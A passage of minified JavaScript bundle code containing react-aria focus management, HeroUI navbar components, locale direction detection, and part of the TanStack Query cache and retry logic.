o=t.shiftKey?a.previousNode():a.nextNode();while(_(o,e));(t.preventDefault(),t.stopPropagation(),o)?q(o,!0):_(s)?q(s,!0):r.blur()}};return r||n.addEventListener("keydown",i,!0),()=>{r||n.removeEventListener("keydown",i,!0)}},[e,t,r]),(0,y.b)(()=>{var r;let i=(0,m.r3)(e.current?e.current[0]:void 0);if(!t)return;let s=W.getTreeNode(e);if(s)return s.nodeToRestore=null!==(r=n.current)&&void 0!==r?r:void 0,()=>{let r=W.getTreeNode(e);if(!r)return;let n=r.nodeToRestore,s=(0,b.vY)(i);if(t&&n&&(s&&_(s,e)||s===i.body&&L(e))){let t=W.clone();requestAnimationFrame(()=>{if(i.activeElement===i.body){let r=t.getTreeNode(e);for(;r;){if(r.nodeToRestore&&r.nodeToRestore.isConnected){A(r.nodeToRestore);return}r=r.parent}for(r=t.getTreeNode(e);r;){if(r.scopeRef&&r.scopeRef.current&&W.getTreeNode(r.scopeRef)){A(j(r.scopeRef.current,!0));return}r=r.parent}}})}}},[e,t])}(u,s,i),function(e,t){let r=h.useRef(t);(0,h.useEffect)(()=>{if(r.current){T=e;let t=(0,m.r3)(e.current?e.current[0]:void 0);!M((0,b.vY)(t),T.current)&&e.current&&I(e.current)}r.current=!1},[e])}(u,a),(0,h.useEffect)(()=>{let e=(0,b.vY)((0,m.r3)(u.current?u.current[0]:void 0)),t=null;if(M(e,u.current)){for(let r of W.traverse())r.scopeRef&&M(e,r.scopeRef.current)&&(t=r);t===W.getTreeNode(u)&&(T=t.scopeRef)}},[u]),(0,y.b)(()=>()=>{var e,t,r;let n=null!==(r=null===(t=W.getTreeNode(u))||void 0===t?void 0:null===(e=t.parent)||void 0===e?void 0:e.scopeRef)&&void 0!==r?r:null;(u===T||F(u,T))&&(!n||W.getTreeNode(n))&&(T=n),W.removeTreeNode(u)},[u]);let f=(0,h.useMemo)(()=>({focusNext(e={}){var t;let r=u.current,{from:n,tabbable:i,wrap:s,accept:a}=e,o=n||(0,b.vY)((0,m.r3)(null!==(t=r[0])&&void 0!==t?t:void 0)),l=r[0].previousElementSibling,c=D(k(r),{tabbable:i,accept:a},r);c.currentNode=M(o,r)?o:l;let d=c.nextNode();return!d&&s&&(c.currentNode=l,d=c.nextNode()),d&&q(d,!0),d},focusPrevious(e={}){var t;let r=u.current,{from:n,tabbable:i,wrap:s,accept:a}=e,o=n||(0,b.vY)((0,m.r3)(null!==(t=r[0])&&void 0!==t?t:void 0)),l=r[r.length-1].nextElementSibling,c=D(k(r),{tabbable:i,accept:a},r);c.currentNode=M(o,r)?o:l;let d=c.previousNode();return!d&&s&&(c.currentNode=l,d=c.previousNode()),d&&q(d,!0),d},focusFirst(e={}){let t=u.current,{tabbable:r,accept:n}=e,i=D(k(t),{tabbable:r,accept:n},t);i.currentNode=t[0].previousElementSibling;let s=i.nextNode();return s&&q(s,!0),s},focusLast(e={}){let t=u.current,{tabbable:r,accept:n}=e,i=D(k(t),{tabbable:r,accept:n},t);i.currentNode=t[t.length-1].nextElementSibling;let s=i.previousNode();return s&&q(s,!0),s}}),[]),p=(0,h.useMemo)(()=>({focusManager:f,parentNode:d}),[d,f]);return h.createElement(S.Provider,{value:p},h.createElement("span",{"data-focus-scope-start":!0,hidden:!0,ref:o}),n,h.createElement("span",{"data-focus-scope-end":!0,hidden:!0,ref:l}))}function k(e){return e[0].parentElement}function R(e){let t=W.getTreeNode(T);for(;t&&t.scopeRef!==e;){if(t.contain)return!1;t=t.parent}return!0}function M(e,t){return!!e&&!!t&&t.some(t=>t.contains(e))}function _(e,t=null){if(e instanceof Element&&e.closest("[data-react-aria-top-layer]"))return!0;for(let{scopeRef:r}of W.traverse(W.getTreeNode(t)))if(r&&M(e,r.current))return!0;return!1}function F(e,t){var r;let n=null===(r=W.getTreeNode(t))||void 0===r?void 0:r.parent;for(;n;){if(n.scopeRef===e)return!0;n=n.parent}return!1}function q(e,t=!1){if(null==e||t){if(null!=e)try{e.focus()}catch{}}else try{(0,C.e)(e)}catch{}}function j(e,t=!0){let r=e[0].previousElementSibling,n=k(e),i=D(n,{tabbable:t},e);i.currentNode=r;let s=i.nextNode();return t&&!s&&((i=D(n=k(e),{tabbable:!1},e)).currentNode=r,s=i.nextNode()),s}function I(e,t=!0){q(j(e,t))}function L(e){let t=W.getTreeNode(T);for(;t&&t.scopeRef!==e;){if(t.nodeToRestore)return!1;t=t.parent}return(null==t?void 0:t.scopeRef)===e}function A(e){e.dispatchEvent(new CustomEvent(P,{bubbles:!0,cancelable:!0}))&&q(e)}function D(e,t,r){var n,i,s;let a=(null==t?void 0:t.tabbable)?w.W:w.E,o=(null==e?void 0:e.nodeType)===Node.ELEMENT_NODE?e:null,l=(0,m.r3)(o),u=(n=e||l,i=NodeFilter.SHOW_ELEMENT,s={acceptNode(e){var n;return(null==t?void 0:null===(n=t.from)||void 0===n?void 0:n.contains(e))?NodeFilter.FILTER_REJECT:a(e)&&function e(t,r){return"#comment"!==t.nodeName&&function(e){let t=(0,m.kR)(e);if(!(e instanceof t.HTMLElement)&&!(e instanceof t.SVGElement))return!1;let{display:r,visibility:n}=e.style,i="none"!==r&&"hidden"!==n&&"collapse"!==n;if(i){let{getComputedStyle:t}=e.ownerDocument.defaultView,{display:r,visibility:n}=t(e);i="none"!==r&&"hidden"!==n&&"collapse"!==n}return i}(t)&&!t.hasAttribute("hidden")&&!t.hasAttribute("data-react-aria-prevent-focus")&&("DETAILS"!==t.nodeName||!r||"SUMMARY"===r.nodeName||t.hasAttribute("open"))&&(!t.parentElement||e(t.parentElement,t))}(e)&&(!r||M(e,r))&&(!(null==t?void 0:t.accept)||t.accept(e))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}},(0,x.Wr)()?new E(l,n,i,s):l.createTreeWalker(n,i,s));return(null==t?void 0:t.from)&&(u.currentNode=t.from),u}class H{get size(){return this.fastMap.size}getTreeNode(e){return this.fastMap.get(e)}addTreeNode(e,t,r){let n=this.fastMap.get(null!=t?t:null);if(!n)return;let i=new U({scopeRef:e});n.addChild(i),i.parent=n,this.fastMap.set(e,i),r&&(i.nodeToRestore=r)}addNode(e){this.fastMap.set(e.scopeRef,e)}removeTreeNode(e){if(null===e)return;let t=this.fastMap.get(e);if(!t)return;let r=t.parent;for(let e of this.traverse())e!==t&&t.nodeToRestore&&e.nodeToRestore&&t.scopeRef&&t.scopeRef.current&&M(e.nodeToRestore,t.scopeRef.current)&&(e.nodeToRestore=t.nodeToRestore);let n=t.children;r&&(r.removeChild(t),n.size>0&&n.forEach(e=>r&&r.addChild(e))),this.fastMap.delete(t.scopeRef)}*traverse(e=this.root){if(null!=e.scopeRef&&(yield e),e.children.size>0)for(let t of e.children)yield*this.traverse(t)}clone(){var e,t;let r=new H;for(let n of this.traverse())r.addTreeNode(n.scopeRef,null!==(t=null===(e=n.parent)||void 0===e?void 0:e.scopeRef)&&void 0!==t?t:null,n.nodeToRestore);return r}constructor(){this.fastMap=new Map,this.root=new U({scopeRef:null}),this.fastMap.set(null,this.root)}}class U{addChild(e){this.children.add(e),e.parent=this}removeChild(e){this.children.delete(e),e.parent=void 0}constructor(e){this.children=new Set,this.contain=!1,this.scopeRef=e.scopeRef}}let W=new H;var B=r(45585),K=r(62971);let Q=h.createContext(null);function z(e){var t;let r=(0,K.Av)(),{portalContainer:n=r?null:document.body,isExiting:i}=e,[s,a]=(0,h.useState)(!1),o=(0,h.useMemo)(()=>({contain:s,setContain:a}),[s,a]),{getContainer:l}=null!==(t=(0,h.useContext)(f))&&void 0!==t?t:{};if(!e.portalContainer&&l&&(n=l()),!n)return null;let u=e.children;return e.disableFocusManagement||(u=h.createElement(O,{restoreFocus:!0,contain:(e.shouldContainFocus||s)&&!i},u)),u=h.createElement(Q.Provider,{value:o},h.createElement(v,null,u)),B.createPortal(u,n)}var G=r(87174),Y=()=>r.e(392).then(r.bind(r,53392)).then(e=>e.default),V=(0,s.Gp)((e,t)=>{var r,s;let{className:h,children:f,portalContainer:p,motionProps:v,style:m,...y}=e,b=(0,a.gy)(t),{slots:g,isMenuOpen:w,height:x,disableAnimation:E,classNames:N}=(0,n.q)(),C=(0,o.Wy)(null==N?void 0:N.menu,h);return E?w?(0,G.jsx)(z,{portalContainer:p,children:(0,G.jsx)("ul",{ref:b,className:null==(r=g.menu)?void 0:r.call(g,{class:C}),"data-open":(0,o.PB)(w),style:{"--navbar-height":"number"==typeof x?"".concat(x,"px"):x},...y,children:f})}):null:(0,G.jsx)(l.M,{mode:"wait",children:w?(0,G.jsx)(z,{portalContainer:p,children:(0,G.jsx)(u.X,{features:Y,children:(0,G.jsx)(c.m.ul,{ref:b,layoutScroll:!0,animate:"enter",className:null==(s=g.menu)?void 0:s.call(g,{class:C}),"data-open":(0,o.PB)(w),exit:"exit",initial:"exit",style:{"--navbar-height":"number"==typeof x?"".concat(x,"px"):x,...m},variants:i,...(0,d.d)(v,y),children:f})})}):null})});V.displayName="HeroUI.NavbarMenu";var $=V},82425:(e,t,r)=>{"use strict";r.d(t,{V:()=>n,q:()=>i});var[n,i]=(0,r(34028).k)({name:"NavbarContext",strict:!0,errorMessage:"useNavbarContext: `context` is undefined. Seems you forgot to wrap component within "})},82554:(e,t,r)=>{"use strict";r.d(t,{L:()=>b});var n=r(82425),i=r(9685),s=r(46258),a=r(8323),o=r(88108),l=r(87528),u=r(2253),c=r(69661),d=r(76056),h=r(40006),f=r(63249),p=r(46583),v=r(32953),m=r(87174),y=(0,u.Gp)((e,t)=>{var r;let{as:u,icon:y,className:b,onChange:g,autoFocus:w,srOnlyText:x,...E}=e,N=(0,c.gy)(t),{slots:C,classNames:S,isMenuOpen:P,setIsMenuOpen:T}=(0,n.q)(),O=function(e={}){let{isReadOnly:t}=e,[r,n]=(0,h.z)(e.isSelected,e.defaultSelected||!1,e.onChange);return{isSelected:r,setSelected:function(e){t||n(e)},toggle:function(){t||n(!r)}}}({...E,isSelected:P,onChange:e=>{null==g||g(e),T(e)}}),{buttonProps:k,isPressed:R}=function(e,t,r){let{isSelected:n}=t,{isPressed:u,buttonProps:c}=function(e,t){let r,{elementType:n="button",isDisabled:l,onPress:u,onPressStart:c,onPressEnd:d,onPressUp:h,onPressChange:f,preventFocusOnPress:p,allowFocusWhenDisabled:v,onClick:m,href:y,target:b,rel:g,type:w="button"}=e;r="button"===n?{type:w,disabled:l}:{role:"button",href:"a"!==n||l?void 0:y,target:"a"===n?b:void 0,type:"input"===n?w:void 0,disabled:"input"===n?l:void 0,"aria-disabled":l&&"input"!==n?l:void 0,rel:"a"===n?g:void 0};let{pressProps:x,isPressed:E}=(0,a.r)({onPressStart:c,onPressEnd:d,onPressChange:f,onPress:u,onPressUp:h,isDisabled:l,preventFocusOnPress:p,ref:t}),{focusableProps:N}=(0,o.kc)(e,t);v&&(N.tabIndex=l?-1:N.tabIndex);let C=(0,i.d)(N,x,(0,s.z)(e,{labelable:!0}));return{isPressed:E,buttonProps:(0,i.d)(r,C,{"aria-haspopup":e["aria-haspopup"],"aria-expanded":e["aria-expanded"],"aria-controls":e["aria-controls"],"aria-pressed":e["aria-pressed"],"aria-current":e["aria-current"],onClick:e=>{m&&(m(e),console.warn("onClick is deprecated, please use onPress"))}})}}({...e,onPress:(0,l.t)(t.toggle,e.onPress)},r);return{isPressed:u,isSelected:n,isDisabled:e.isDisabled||!1,buttonProps:(0,i.d)(c,{"aria-pressed":n})}}(e,O,N),{isFocusVisible:M,focusProps:_}=(0,f.F)({autoFocus:w}),{isHovered:F,hoverProps:q}=(0,p.X)({}),j=(0,d.Wy)(null==S?void 0:S.toggle,b),I=(0,v.useMemo)(()=>"function"==typeof y?y(null!=P&&P):y||(0,m.jsx)("span",{className:C.toggleIcon({class:null==S?void 0:S.toggleIcon})}),[y,P,C.toggleIcon,null==S?void 0:S.toggleIcon]),L=(0,v.useMemo)(()=>x||(O.isSelected?"close navigation menu":"open navigation menu"),[x,P]);return(0,m.jsxs)(u||"button",{ref:N,className:null==(r=C.toggle)?void 0:r.call(C,{class:j}),"data-focus-visible":(0,d.PB)(M),"data-hover":(0,d.PB)(F),"data-open":(0,d.PB)(P),"data-pressed":(0,d.PB)(R),...(0,i.d)(k,_,q,E),children:[(0,m.jsx)("span",{className:C.srOnly(),children:L}),I]})});y.displayName="HeroUI.NavbarMenuToggle";var b=y},89629:(e,t,r)=>{"use strict";r.d(t,{U:()=>u});var n=r(82425),i=r(2253),s=r(69661),a=r(76056),o=r(87174),l=(0,i.Gp)((e,t)=>{var r;let{as:i,className:l,children:u,justify:c="start",...d}=e,h=(0,s.gy)(t),{slots:f,classNames:p}=(0,n.q)(),v=(0,a.Wy)(null==p?void 0:p.content,l);return(0,o.jsx)(i||"ul",{ref:h,className:null==(r=f.content)?void 0:r.call(f,{class:v}),"data-justify":c,...d,children:u})});l.displayName="HeroUI.NavbarContent";var u=l},7663:(e,t,r)=>{"use strict";r.d(t,{h:()=>u});var n=r(82425),i=r(2253),s=r(69661),a=r(76056),o=r(87174),l=(0,i.Gp)((e,t)=>{var r;let{className:i,children:l,isActive:u,...c}=e,d=(0,s.gy)(t),{slots:h,isMenuOpen:f,classNames:p}=(0,n.q)(),v=(0,a.Wy)(null==p?void 0:p.menuItem,i);return(0,o.jsx)("li",{ref:d,className:null==(r=h.menuItem)?void 0:r.call(h,{class:v}),"data-active":(0,a.PB)(u),"data-open":(0,a.PB)(f),...c,children:l})});l.displayName="HeroUI.NavbarMenuItem";var u=l},10927:(e,t,r)=>{"use strict";r.d(t,{p:()=>T});var n=r(60153);let i=new Set(["Arab","Syrc","Samr","Mand","Thaa","Mend","Nkoo","Adlm","Rohg","Hebr"]),s=new Set(["ae","ar","arc","bcc","bqi","ckb","dv","fa","glk","he","ku","mzn","nqo","pnb","ps","sd","ug","ur","yi"]);function a(e){if(Intl.Locale){let t=new Intl.Locale(e).maximize(),r="function"==typeof t.getTextInfo?t.getTextInfo():t.textInfo;if(r)return"rtl"===r.direction;if(t.script)return i.has(t.script)}let t=e.split("-")[0];return s.has(t)}var o=r(32953),l=r(62971);let u=Symbol.for("react-aria.i18n.locale");function c(){let e="undefined"!=typeof window&&window[u]||"undefined"!=typeof navigator&&(navigator.language||navigator.userLanguage)||"en-US";try{Intl.DateTimeFormat.supportedLocalesOf([e])}catch{e="en-US"}return{locale:e,direction:a(e)?"rtl":"ltr"}}let d=c(),h=new Set;function f(){for(let e of(d=c(),h))e(d)}let p=o.createContext(null);function v(e){let{locale:t,children:r}=e,n=function(){let e=(0,l.Av)(),[t,r]=(0,o.useState)(d);return((0,o.useEffect)(()=>(0===h.size&&window.addEventListener("languagechange",f),h.add(r),()=>{h.delete(r),0===h.size&&window.removeEventListener("languagechange",f)}),[]),e)?{locale:"en-US",direction:"ltr"}:t}(),i=o.useMemo(()=>t?{locale:t,direction:a(t)?"rtl":"ltr"}:n,[n,t]);return o.createElement(p.Provider,{value:i},r)}var m=r(77859);r(45585);let y=o.createContext(null);function b(e){let{children:t}=e,r=(0,o.useContext)(y),[n,i]=(0,o.useState)(0),s=(0,o.useMemo)(()=>({parent:r,modalCount:n,addModal(){i(e=>e+1),r&&r.addModal()},removeModal(){i(e=>e-1),r&&r.removeModal()}}),[r,n]);return o.createElement(y.Provider,{value:s},t)}function g(e){let t;let{modalProviderProps:r}={modalProviderProps:{"aria-hidden":!!(t=(0,o.useContext)(y))&&t.modalCount>0||void 0}};return o.createElement("div",{"data-overlay-container":!0,...e,...r})}function w(e){return o.createElement(b,null,o.createElement(g,e))}var x=r(53308),E=r(87174),N=r(48812),C=r(56008),S=r(18381);function P(e){let{children:t,isValidProp:r,...n}=e;r&&(0,C.K)(r),(n={...(0,o.useContext)(N._),...n}).isStatic=(0,S.h)(()=>n.isStatic);let i=(0,o.useMemo)(()=>n,[JSON.stringify(n.transition),n.transformPagePoint,n.reducedMotion]);return(0,E.jsx)(N._.Provider,{value:i,children:t})}var T=e=>{let{children:t,navigate:r,disableAnimation:i,useHref:s,disableRipple:a=!1,skipFramerMotionAnimations:l=i,reducedMotion:u="never",validationBehavior:c,locale:d="en-US",labelPlacement:h,defaultDates:f,createCalendar:p,spinnerVariant:y,...b}=e,g=t;r&&(g=(0,E.jsx)(m.pG,{navigate:r,useHref:s,children:g}));let N=(0,o.useMemo)(()=>(i&&l&&(x.c.skipAnimations=!0),{createCalendar:p,defaultDates:f,disableAnimation:i,disableRipple:a,validationBehavior:c,labelPlacement:h,spinnerVariant:y}),[p,null==f?void 0:f.maxDate,null==f?void 0:f.minDate,i,a,c,h,y]);return(0,E.jsx)(n.a,{value:N,children:(0,E.jsx)(v,{locale:d,children:(0,E.jsx)(P,{reducedMotion:u,children:(0,E.jsx)(w,{...b,children:g})})})})}},62971:(e,t,r)=>{"use strict";r.d(t,{Av:()=>u});var n=r(32953);let i={prefix:String(Math.round(1e10*Math.random())),current:0},s=(n.createContext(i),n.createContext(!1));function a(){return!1}function o(){return!0}function l(e){return()=>{}}function u(){return"function"==typeof n.useSyncExternalStore?n.useSyncExternalStore(l,a,o):(0,n.useContext)(s)}"undefined"!=typeof window&&window.document&&window.document.createElement,new WeakMap,n.useId},40006:(e,t,r)=>{"use strict";r.d(t,{z:()=>i});var n=r(32953);function i(e,t,r){let[i,s]=(0,n.useState)(e||t),a=(0,n.useRef)(void 0!==e),o=void 0!==e;(0,n.useEffect)(()=>{let e=a.current;e!==o&&console.warn(`WARN: A component changed from ${e?"controlled":"uncontrolled"} to ${o?"controlled":"uncontrolled"}.`),a.current=o},[o]);let l=o?e:i,u=(0,n.useCallback)((e,...t)=>{let n=(e,...t)=>{r&&!Object.is(l,e)&&r(e,...t),o||(l=e)};"function"==typeof e?(console.warn("We can not support a function callback. See Github Issues for details https://github.com/adobe/react-spectrum/issues/2320"),s((r,...i)=>{let s=e(o?l:r,...i);return(n(s,...t),o)?r:s})):(o||s(e),n(e,...t))},[o,l,r]);return[l,u]}},69534:(e,t,r)=>{"use strict";r.d(t,{S:()=>j});var n="undefined"==typeof window||"Deno"in globalThis;function i(){}function s(e,t){return"function"==typeof e?e(t):e}function a(e,t){let{type:r="all",exact:n,fetchStatus:i,predicate:s,queryKey:a,stale:o}=e;if(a){if(n){if(t.queryHash!==l(a,t.options))return!1}else if(!c(t.queryKey,a))return!1}if("all"!==r){let e=t.isActive();if("active"===r&&!e||"inactive"===r&&e)return!1}return("boolean"!=typeof o||t.isStale()===o)&&(!i||i===t.state.fetchStatus)&&(!s||!!s(t))}function o(e,t){let{exact:r,status:n,predicate:i,mutationKey:s}=e;if(s){if(!t.options.mutationKey)return!1;if(r){if(u(t.options.mutationKey)!==u(s))return!1}else if(!c(t.options.mutationKey,s))return!1}return(!n||t.state.status===n)&&(!i||!!i(t))}function l(e,t){return(t?.queryKeyHashFn||u)(e)}function u(e){return JSON.stringify(e,(e,t)=>h(t)?Object.keys(t).sort().reduce((e,r)=>(e[r]=t[r],e),{}):t)}function c(e,t){return e===t||typeof e==typeof t&&!!e&&!!t&&"object"==typeof e&&"object"==typeof t&&!Object.keys(t).some(r=>!c(e[r],t[r]))}function d(e){return Array.isArray(e)&&e.length===Object.keys(e).length}function h(e){if(!f(e))return!1;let t=e.constructor;if(void 0===t)return!0;let r=t.prototype;return!!(f(r)&&r.hasOwnProperty("isPrototypeOf"))&&Object.getPrototypeOf(e)===Object.prototype}function f(e){return"[object Object]"===Object.prototype.toString.call(e)}function p(e,t,r=0){let n=[...e,t];return r&&n.length>r?n.slice(1):n}function v(e,t,r=0){let n=[t,...e];return r&&n.length>r?n.slice(0,-1):n}var m=Symbol();function y(e,t){return!e.queryFn&&t?.initialPromise?()=>t.initialPromise:e.queryFn&&e.queryFn!==m?e.queryFn:()=>Promise.reject(Error(`Missing queryFn: '${e.queryHash}'`))}var b=function(){let e=[],t=0,r=e=>{e()},n=e=>{e()},i=e=>setTimeout(e,0),s=n=>{t?e.push(n):i(()=>{r(n)})},a=()=>{let t=e;e=[],t.length&&i(()=>{n(()=>{t.forEach(e=>{r(e)})})})};return{batch:e=>{let r;t++;try{r=e()}finally{--t||a()}return r},batchCalls:e=>(...t)=>{s(()=>{e(...t)})},schedule:s,setNotifyFunction:e=>{r=e},setBatchNotifyFunction:e=>{n=e},setScheduler:e=>{i=e}}}(),g=class{constructor(){this.listeners=new Set,this.subscribe=this.subscribe.bind(this)}subscribe(e){return this.listeners.add(e),this.onSubscribe(),()=>{this.listeners.delete(e),this.onUnsubscribe()}}hasListeners(){return this.listeners.size>0}onSubscribe(){}onUnsubscribe(){}},w=new class extends g{#e;#t;#r;constructor(){super(),this.#r=e=>{if(!n&&window.addEventListener){let t=()=>e();return window.addEventListener("visibilitychange",t,!1),()=>{window.removeEventListener("visibilitychange",t)}}}}onSubscribe(){this.#t||this.setEventListener(this.#r)}onUnsubscribe(){this.hasListeners()||(this.#t?.(),this.#t=void 0)}setEventListener(e){this.#r=e,this.#t?.(),this.#t=e(e=>{"boolean"==typeof e?this.setFocused(e):this.onFocus()})}setFocused(e){this.#e!==e&&(this.#e=e,this.onFocus())}onFocus(){let e=this.isFocused();this.listeners.forEach(t=>{t(e)})}isFocused(){return"boolean"==typeof this.#e?this.#e:globalThis.document?.visibilityState!=="hidden"}},x=new class extends g{#n=!0;#t;#r;constructor(){super(),this.#r=e=>{if(!n&&window.addEventListener){let t=()=>e(!0),r=()=>e(!1);return window.addEventListener("online",t,!1),window.addEventListener("offline",r,!1),()=>{window.removeEventListener("online",t),window.removeEventListener("offline",r)}}}}onSubscribe(){this.#t||this.setEventListener(this.#r)}onUnsubscribe(){this.hasListeners()||(this.#t?.(),this.#t=void 0)}setEventListener(e){this.#r=e,this.#t?.(),this.#t=e(this.setOnline.bind(this))}setOnline(e){this.#n!==e&&(this.#n=e,this.listeners.forEach(t=>{t(e)}))}isOnline(){return this.#n}};function E(e){return Math.min(1e3*2**e,3e4)}function N(e){return(e??"online")!=="online"||x.isOnline()}var C=class extends Error{constructor(e){super("CancelledError"),this.revert=e?.revert,this.silent=e?.silent}};function S(e){return e instanceof C}function P(e){let t,r=!1,i=0,s=!1,a=function(){let e,t;let r=new Promise((r,n)=>{e=r,t=n});function n(e){Object.assign(r,e),delete r.resolve,delete r.reject}return r.status="pending",r.catch(()=>{}),r.resolve=t=>{n({status:"fulfilled",value:t}),e(t)},r.reject=e=>{n({status:"rejected",reason:e}),t(e)},r}(),o=()=>w.isFocused()&&("always"===e.networkMode||x.isOnline())&&e.canRun(),l=()=>N(e.networkMode)&&e.canRun(),u=r=>{s||(s=!0,e.onSuccess?.(r),t?.(),a.resolve(r))},c=r=>{s||(s=!0,e.onError?.(r),t?.(),a.reject(r))},d=()=>new Promise(r=>{t=e=>{(s||o())&&r(e)},e.onPause?.()}).then(()=>{t=void 0,s||e.onContinue?.()}),h=()=>{let t;if(s)return;let a=0===i?e.initialPromise:void 0;try{t=a??e.fn()}catch(e){t=Promise.reject(e)}Promise.resolve(t).then(u).catch(t=>{if(s)return;let a=e.retry??(n?0:3),l=e.retryDelay??E,u="function"==typeof l?l(i,t):l,f=!0===a||"number"==typeof a&&i{setTimeout(e,u)}).then(()=>o()?void 0:d()).then(()=>{r?c(t):h()})})};return{promise:a,cancel:t=>{s||(c(new C(t)),e.abort?.())},continue:()=>(t?.(),a),cancelRetry:()=>{r=!0},continueRetry:()=>{r=!1},canStart:l,start:()=>(l()?h():d().then(h),a)}}var T=class{#i;destroy(){this.clearGcTimeout()}scheduleGc(){var e;this.clearGcTimeout(),"number"==typeof(e=this.gcTime)&&e>=0&&e!==1/0&&(this.#i=setTimeout(()=>{this.optionalRemove()},this.gcTime))}updateGcTime(e){this.gcTime=Math.max(this.gcTime||0,e??(n?1/0:3e5))}clearGcTimeout(){this.#i&&(clearTimeout(this.#i),this.#i=void 0)}},O=class extends T{#s;#a;#o;#l;#u;#c;constructor(e){super(),this.#c=!1,this.#u=e.defaultOptions,this.setOptions(e.options),this.observers=[],this.#o=e.cache,this.queryKey=e.queryKey,this.queryHash=e.queryHash,this.#s=function(e){let t="function"==typeof e.initialData?e.initialData():e.initialData,r=void 0!==t,n=r?"function"==typeof e.initialDataUpdatedAt?e.initialDataUpdatedAt():e.initialDataUpdatedAt:0;return{data:t,dataUpdateCount:0,dataUpdatedAt:r?n??Date.now():0,error:null,errorUpdateCount:0,errorUpdatedAt:0,fetchFailureCount:0,fetchFailureReason:null,fetchMeta:null,isInvalidated:!1,status:r?"success":"pending",fetchStatus:"idle"}}(this.options),this.state=e.state??this.#s,this.scheduleGc()}get meta(){return this.options.meta}get promise(){return this.#l?.promise}setOptions(e){this.options={...this.#u,...e},this.updateGcTime(this.options.gcTime)}optionalRemove(){this.observers.length||"idle"!==this.state.fetchStatus||this.#o.remove(this)}setData(e,t){var r,n;let i=(r=this.state.data,"function"==typeof(n=this.options).structuralSharing?n.structuralSharing(r,e):!1!==n.structuralSharing?function e(t,r){if(t===r)return t;let n=d(t)&&d(r);if(n||h(t)&&h(r)){let i=n?t:Object.keys(t),s=i.length,a=n?r:Object.keys(r),o=a.length,l=n?[]:{},u=0;for(let s=0;s{var t;return!1!==("function"==typeof(t=e.options.enabled)?t(this):t)})}isDisabled(){return this.getObserversCount()>0?!this.isActive():this.options.queryFn===m||this.state.dataUpdateCount+this.state.errorUpdateCount===0}isStale(){return!!this.state.isInvalidated||(this.getObserversCount()>0?this.observers.some(e=>e.getCurrentResult().isStale):void 0===this.state.data)}isStaleByTime(e=0){return this.state.isInvalidated||void 0===this.state.data||!Math.max(this.state.dataUpdatedAt+(e||0)-Date.now(),0)}onFocus(){let e=this.observers.find(e=>e.shouldFetchOnWindowFocus());e?.refetch({cancelRefetch:!1}),this.#l?.continue()}onOnline(){let e=this.observers.find(e=>e.shouldFetchOnReconnect());e?.refetch({cancelRefetch:!1}),this.#l?.continue()}addObserver(e){this.observers.includes(e)||(this.observers.push(e),this.clearGcTimeout(),this.#o.notify({type:"observerAdded",query:this,observer:e}))}removeObserver(e){this.observers.includes(e)&&(this.observers=this.observers.filter(t=>t!==e),this.observers.length||(this.#l&&(this.#c?this.#l.cancel({revert:!0}):this.#l.cancelRetry()),this.scheduleGc()),this.#o.notify({type:"observerRemoved",query:this,observer:e}))}getObserversCount(){return this.observers.length}invalidate(){this.state.isInvalidated||this.#d({type:"invalidate"})}fetch(e,t){if("idle"!==this.state.fetchStatus){if(void 0!==this.state.data&&t?.cancelRefetch)this.cancel({silent:!0});else if(this.#l)return this.#l.continueRetry(),this.#l.promise}if(e&&this.setOptions(e),!this.options.queryFn){let e=this.observers.find(e=>e.options.queryFn);e&&this.setOptions(e.options)}let r=new AbortController,n=e=>{Object.defineProperty(e,"signal",{enumerable:!0,get:()=>(this.#c=!0,r.signal)})},i={fetchOptions:t,options:this.options,queryKey:this.queryKey,state:this.state,fetchFn:()=>{let e=y(this.options,t),r={queryKey:this.queryKey,meta:this.meta};return(n(r),this.#c=!1,this.options.persister)?this.options.persister(e,r,this):e(r)}};n(i),this.options.behavior?.onFetch(i,this),this.#a=this.state,("idle"===this.state.fetchStatus||this.state.fetchMeta!==i.fetchOptions?.meta)&&this.#d({type:"fetch",meta:i.fetchOptions?.meta});let s=e=>{S(e)&&e.silent||this.#d({type:"error",error:e}),S(e)||(this.#o.config.onError?.(e,this),this.#o.config.onSettled?.(this.state.data,e,this)),this.scheduleGc()};return this.#l=P({initialPromise:t?.initialPromise,fn:i.fetchFn,abort:r.abort.bind(r),onSuccess:e=>{if(void 0===e){s(Error(`${this.queryHash} data is undefined`));return}try{this.setData(e)}catch(e){s(e);return}this.#o.config.onSuccess?.(e,this),this.#o.config.onSettled?.(e,this.state.error,this),this.scheduleGc()},onError:s,onFail:(e,t)=>{this.#d({type:"failed",failureCount:e,error:t})},onPause:()=>{this.#d({type:"pause"})},onContinue:()=>{this.#d({type:"continue"})},retry:i.options.retry,retryDelay:i.options.retryDelay,networkMode:i.options.networkMode,canRun:()=>!0}),this.#l.start()}#d(e){this.state=(t=>{switch(e.type){case"failed":return{...t,fetchFailureCount:e.failureCount,fetchFailureReason:e.error};case"pause":return{...t,fetchStatus:"paused"};case"continue":return{...t,fetchStatus:"fetching"};case"fetch":var r;return{...t,...(r=t.data,{fetchFailureCount:0,fetchFailureReason:null,fetchStatus:N(this.options.networkMode)?"fetching":"paused",...void 0===r&&{error:null,status:"pending"}}),fetchMeta:e.meta??null};case"success":return{...t,data:e.data,dataUpdateCount:t.dataUpdateCount+1,dataUpdatedAt:e.dataUpdatedAt??Date.now(),error:null,isInvalidated:!1,status:"success",...!e.manual&&{fetchStatus:"idle",fetchFailureCount:0,fetchFailureReason:null}};case"error":let n=e.error;if(S(n)&&n.revert&&this.#a)return{...this.#a,fetchStatus:"idle"};return{...t,error:n,errorUpdateCount:t.errorUpdateCount+1,errorUpdatedAt:Date.now(),fetchFailureCount:t.fetchFailureCount+1,fetchFailureReason:n,fetchStatus:"idle",status:"error"};case"invalidate":return{...t,isInvalidated:!0};case"setState":return{...t,...e.state}}})(this.state),b.batch(()=>{this.observers.forEach(e=>{e.onQueryUpdate()}),this.#o.notify({query:this,type:"updated",action:e})})}},k=class extends g{constructor(e={}){super(),this.config=e,this.#h=new Map}#h;build(e,t,r){let n=t.queryKey,i=t.queryHash??l(n,t),s=this.get(i);return s||(s=new O({cache:this,queryKey:n,queryHash:i,options:e.defaultQueryOptions(t),state:r,defaultOptions:e.getQueryDefaults(n)}),this.add(s)),s}add(e){this.#h.has(e.queryHash)||(this.#h.set(e.queryHash,e),this.notify({type:"added",query:e}))}remove(e){let t=this.#h.get(e.queryHash);t&&(e.destroy(),t===e&&this.#h.delete(e.queryHash),this.notify({type:"removed",query:e}))}clear(){b.batch(()=>{this.getAll().forEach(e=>{this.remove(e)})})}get(e){return 